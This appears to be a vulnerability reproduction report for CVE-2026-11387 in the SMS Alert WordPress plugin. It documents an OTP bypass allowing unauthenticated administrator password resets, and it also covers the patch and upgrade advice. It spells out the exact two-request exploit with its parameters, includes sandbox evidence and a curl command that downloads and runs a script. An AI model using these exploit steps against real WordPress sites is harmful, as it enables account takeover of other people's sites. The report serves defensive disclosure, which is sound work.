CVE-2026-11387: Verified Reproduction
CVE-2026-11387: SMS Alert WordPress plugin <= 3.9.5 allows unauthenticated attackers to change a user’s email and reset their password, leading to account takeover and privilege escalation when OTP password reset verification is enabled.
CVE-2026-11387 is verified against sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub). Affected versions: <= 3.9.5. Fixed in 3.9.6. Vulnerability class: Privilege Escalation. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00242.
What Is CVE-2026-11387?
CVE-2026-11387 is a critical improper-authentication vulnerability (CWE-287, CVSS 9.8) in the SMS Alert WordPress plugin that lets an unauthenticated attacker change a user's email and reset their password, leading to full account takeover including administrators. Pruva reproduced it (reproduction REPRO-2026-00242).
CVE-2026-11387 Severity & CVSS Score
CVE-2026-11387 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected sms-alert Versions
sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub) versions <= 3.9.5 are affected.
How to Reproduce CVE-2026-11387
pruva-verify REPRO-2026-00242 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00242/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-11387
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated POST to wp-login.php?action=lostpassword with user_login=<admin_phone>&wc_reset_password=true (sets session), then POST with option=smsalert-change-password-form&smsalert_user_newpwd=<attacker_pwd>&smsalert_user_cnfpwd=<attacker_pwd> (resets password without OTP)
- wp-login.php?action=lostpassword
- lostpassword_post hook
- WPResetPassword::startSmsalertResetPasswordProcess()
- smsalert_site_challenge_otp() sets $_SESSION['user_login']
- POST ?option=smsalert-change-password-form
- WPResetPassword::routeData()
- handleSmsalertChangedPwd()
- reset_password($admin, $attacker_pwd)
How the agent worked
Root Cause and Exploit Chain for CVE-2026-11387
The SMS Alert – SMS & OTP for WooCommerce WordPress plugin (versions ≤ 3.9.5) contains an unauthenticated privilege escalation vulnerability in its OTP-based password reset handler. The WPResetPassword::routeData() method in handler/forms/class-wpresetpassword.php calls handleSmsalertChangedPwd() whenever the request parameter option equals smsalert-change-password-form, without verifying that the OTP challenge was actually completed/validated. Because smsalert_site_challenge_otp() sets $_SESSION['user_login'] to the target user's login at OTP initiation time (before the OTP is sent), an attacker who triggers the OTP challenge for an administrator's phone number can immediately submit the password-change form and reset that administrator's password — bypassing OTP verification entirely. This leads to full account takeover and privilege escalation.
- Package: SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery (slug:
sms-alert) - Affected versions: ≤ 3.9.5
- Patched version: 3.9.6
- Risk level: Critical (CVSS 9.8)
- Consequences: An unauthenticated remote attacker can reset any WordPress user's password (including administrators) when the SMS Alert plugin has OTP password-reset verification enabled and the target user has a
billing_phoneset. The attacker gains full administrative access to the WordPress site. The same class of vulnerability exists in the UltimateMember integration (class-ultimatemember.php, optionsmsalert-um-reset-pwd-action).
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated privilege escalation via arbitrary password reset — attacker changes admin email/password and takes over the account.
- Reproduced impact from this run: Unauthenticated attacker resets the administrator's password directly (without needing email change) by exploiting the missing OTP validation check. The attacker can then log in as administrator with the new password.
- Parity:
full— the core claimed impact (unauthenticated admin account takeover via arbitrary password reset) was demonstrated end-to-end against a running WordPress + WooCommerce + SMS Alert service. - Not demonstrated: The advisory describes an email-change → standard-password-reset path as one exploitation variant. Our reproduction demonstrates a more direct path: the password itself is reset via
reset_password()without any email change or OTP validation, which is the same root cause (missing identity/OTP-validation check inrouteData()).
Root Cause
Vulnerable code (class-wpresetpassword.php v3.9.5)
public function routeData()
{
if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form' ) {
$this->handleSmsalertChangedPwd($_POST);
}
}
routeData() is called on every init hook (via FormInterface::__construct() → add_action('init', ...)) and is therefore reachable by unauthenticated users. When option=smsalert-change-password-form is present, handleSmsalertChangedPwd() is invoked, which reads $_SESSION['user_login'] and calls WordPress's reset_password($user, $new_password) directly.
How $_SESSION['user_login'] gets set
The session variable is set by smsalert_site_challenge_otp() in handler/smsalert_form_handler.php:
function smsalert_site_challenge_otp(...) {
SmsAlertUtility::checkSession();
$_SESSION['user_login'] = $user_login; // <-- set at INITIATION, not validation
$_SESSION['phone_number_mo'] = $phone_number;
_handle_otp_action(...); // <-- sends OTP; may fail
}
This function is called from WPResetPassword::startSmsalertResetPasswordProcess() (hooked to WordPress's lostpassword_post action) when a user submits the lost-password form with a phone number and wc_reset_password=true. The session variables are set before the OTP is sent via the SMS Alert API. Even if the OTP API call fails (invalid credentials, network error), the session already contains the target user's login.
Missing validation check
In the vulnerable version, handle_post_verification() (called after successful OTP validation) does not set $_SESSION[$this->form_session_var] to 'validated'. And routeData() does not check for this value. Therefore, the password reset proceeds regardless of whether the OTP was ever validated.
Fix (v3.9.6, changeset 3587983)
The patch adds two changes to class-wpresetpassword.php:
routeData()now requires OTP validation:
public function routeData()
{
SmsAlertUtility::checkSession();
if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form') && isset($_SESSION[ $this->form_session_var ]) && strcasecmp($_SESSION[ $this->form_session_var ], 'validated') === 0 ) {
$this->handleSmsalertChangedPwd($_POST);
}
}
handle_post_verification()now marks the session as validated:
$_SESSION[ $this->form_session_var ] = 'validated';
The same fix pattern was applied to class-ultimatemember.php (option smsalert-um-reset-pwd-action, session var form_session_var2).
Fix reference
- WordPress.org changeset: https://plugins.trac.wordpress.org/changeset/3587983/sms-alert
- Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/c31906da-f2fd-40ac-86e0-3f1ed0409d0c
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh - What the script does:
- Installs PHP, MariaDB, and wp-cli
- Downloads and installs WordPress 7.0 + WooCommerce 10.9.3
- Installs SMS Alert plugin 3.9.5 (vulnerable) and configures it: sets non-empty gateway credentials (so
is_user_authorised()returns true), enablesreset_password=on, and sets the admin user'sbilling_phoneto919999990001 - Starts a PHP built-in web server on
localhost:8080 - Phase A (vulnerable): Sends an unauthenticated POST to
wp-login.php?action=lostpasswordwithuser_login=919999990001&wc_reset_password=true— this triggerslostpassword_post→startSmsalertResetPasswordProcess()→smsalert_site_challenge_otp()which sets$_SESSION['user_login']='admin'. The OTP API call fails ("Wrong SMSAlert credentials") but the session is already poisoned. Then sends a second unauthenticated POST withoption=smsalert-change-password-form&smsalert_user_newpwd=Pwned!Pass42&smsalert_user_cnfpwd=Pwned!Pass42— this callshandleSmsalertChangedPwd()which reads the session and callsreset_password($admin, 'Pwned!Pass42'). The server returns HTTP 302 redirect to?password-reset=true. - Verifies via
wp user check-passwordthat the new password works and the original does not - Phase B (patched negative control): Repeats the exact same attack against SMS Alert 3.9.6 — the password change is blocked (HTTP 200, no redirect), and the original password still works
- Expected evidence:
- Vulnerable 3.9.5: HTTP 302 with
Location: ?page_id=8&password-reset=true;wp user check-password admin 'Pwned!Pass42'succeeds; original password fails - Patched 3.9.6: HTTP 200 (no redirect);
wp user check-password admin 'HackedPass99'fails; original password still works
- Vulnerable 3.9.5: HTTP 302 with
Evidence
Log file locations
bundle/logs/reproduction_steps.log— full script outputbundle/logs/exploit_vuln_step1_response.html— OTP challenge response (vulnerable)bundle/logs/exploit_vuln_step2_headers.txt— password change response headers showing 302 redirectbundle/logs/exploit_vuln_cookies.txt— session cookies used in the exploitbundle/logs/exploit_fixed_step2_headers.txt— patched version response (200, no redirect)bundle/repro/runtime_manifest.json— structured runtime evidence
Key excerpts
Vulnerable 3.9.5 — Step 2 response (password reset confirmed):
HTTP/1.1 302 Found
X-Redirect-By: WordPress
Location: http://localhost:8080/?page_id=8&password-reset=true
Vulnerable 3.9.5 — Password verification:
New password 'Pwned!Pass42' → OK (expected: OK)
Old password 'admin_original_123' → FAIL (expected: FAIL)
Patched 3.9.6 — Step 2 response (attack blocked):
HTTP/1.1 200 OK
(no redirect — attack blocked)
Patched 3.9.6 — Password verification:
Hacked password 'HackedPass99' → FAIL (expected: FAIL)
Original password 'admin_original_123' → OK (expected: OK)
Environment
- PHP 8.5.4 (built-in server)
- MariaDB 11.8.6
- WordPress 7.0
- WooCommerce 10.9.3
- SMS Alert 3.9.5 (vulnerable) / 3.9.6 (patched)
Recommendations / Next Steps
- Upgrade immediately to SMS Alert plugin version 3.9.6 or later.
- Audit all
routeData()handlers across the plugin's form classes for similar missing OTP-validation checks. The same pattern was found and fixed inclass-ultimatemember.php. - Defense in depth: Consider adding nonce verification and capability checks to all password-modification endpoints, not just session-state checks.
- Testing: Add integration tests that verify password reset requires a validated OTP session before allowing
handleSmsalertChangedPwd()to execute.
Additional Notes
- Idempotency: The script was run twice consecutively; both runs produced identical results (vulnerable exploit succeeded, patched control blocked). The script is designed to be idempotent — it reuses existing WordPress installs and reconfigures the plugin on each run.
- Preconditions: The vulnerability requires (a) OTP password reset enabled (
smsalert_general[reset_password]=on), (b) the plugin authorized (smsalert_gatewaycredentials non-empty), (c) WooCommerce active, and (d) the target user having abilling_phoneset. These match the advisory's stated preconditions. - No real SMS credentials needed: The exploit works even when the SMS Alert API credentials are invalid, because
smsalert_site_challenge_otp()sets the session variables before the OTP API call, andhandleSmsalertChangedPwd()does not check OTP validation status. - Session cookie handling: The exploit uses PHP's native session mechanism (
PHPSESSIDcookie). Both HTTP requests (OTP challenge + password change) must share the samePHPSESSIDcookie.
CVE-2026-11387 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Artifacts and Evidence for CVE-2026-11387
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-11387
Upgrade sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub) to 3.9.6 or later.
FAQ: CVE-2026-11387
How does the CVE-2026-11387 account takeover work?
Which SMS Alert plugin versions are affected by CVE-2026-11387, and where is it fixed?
How severe is CVE-2026-11387?
How can I reproduce CVE-2026-11387?
References for CVE-2026-11387
Authoritative sources for CVE-2026-11387 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.